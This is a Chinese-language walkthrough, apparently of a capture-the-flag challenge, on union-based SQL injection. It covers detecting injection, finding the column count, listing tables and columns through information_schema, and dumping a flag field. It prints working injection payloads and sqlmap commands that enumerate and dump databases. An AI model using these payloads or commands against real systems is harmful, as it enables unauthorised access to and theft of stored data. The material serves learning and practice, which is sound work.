通过输入参数的方式,输入自己想要执行的sql语句
sql注入类型
1.判断是否存在注入
2.判断注入的是字符型还是数字型
可输入前后若有''可组成新的sql语句的参数,判断若成功则为字符型
如:
注入失败并不代表一定是字符型,可能是其他原因,再次注入
由此可得,为字符型。再猜字段数
order by 用于查询select后有几个字段,第n个失败就有n-1个,#为注释符,select为查询
避免输出不完全,需要联合查询注入
union就是联合,将查询语句用union拼接即可,联合查询,但是查询的列数要相同
准备工作完成,可以进行信息获取
先获取数据库名
用database()查询数据库名,因为数据为两列所以要有两个信息,在data前随便加一个如:1进行查询
group_concat是将所有查询到的消息集合到一块输出,limit 几,几意思是从第几行回显几个,users为表名,table_name是列名,where用于限定回显的条件,这里就只回显数据库表名from用于指定要查询的数据库表名
固定代码:
1' union select 1, group_concat(table_name) from information_schema. tables where table_schema=数据库名要加''
如上,再获取字段名
代码:
1' union select 1, group_concat(column_name) from information_schema. columns where table_name='表名' #
最后获取数据
把想要查询的字段名用select查询,然后from要查的表即可
代码:
1' or 1=1 union select 1,group_concat(flag) from 库名.表名
总结
注:数字型不用管''直接写代码即可
解法2:
使用sqlmap
打开sqlmap的文件夹,在将目录改为cmd,再在cmd中输入下面的代码启动
获取表名
python sqlmap.py -u URL /?id=1 --tables
加载完后输入一个注入可得到回显的值,即可获得表名
列名
python sqlmap.py -u URL/?id=1 -T 表名 --columns
查数据
python sqlmap.py -u URL/?id=1 -T 表名 -C 字段名 --dump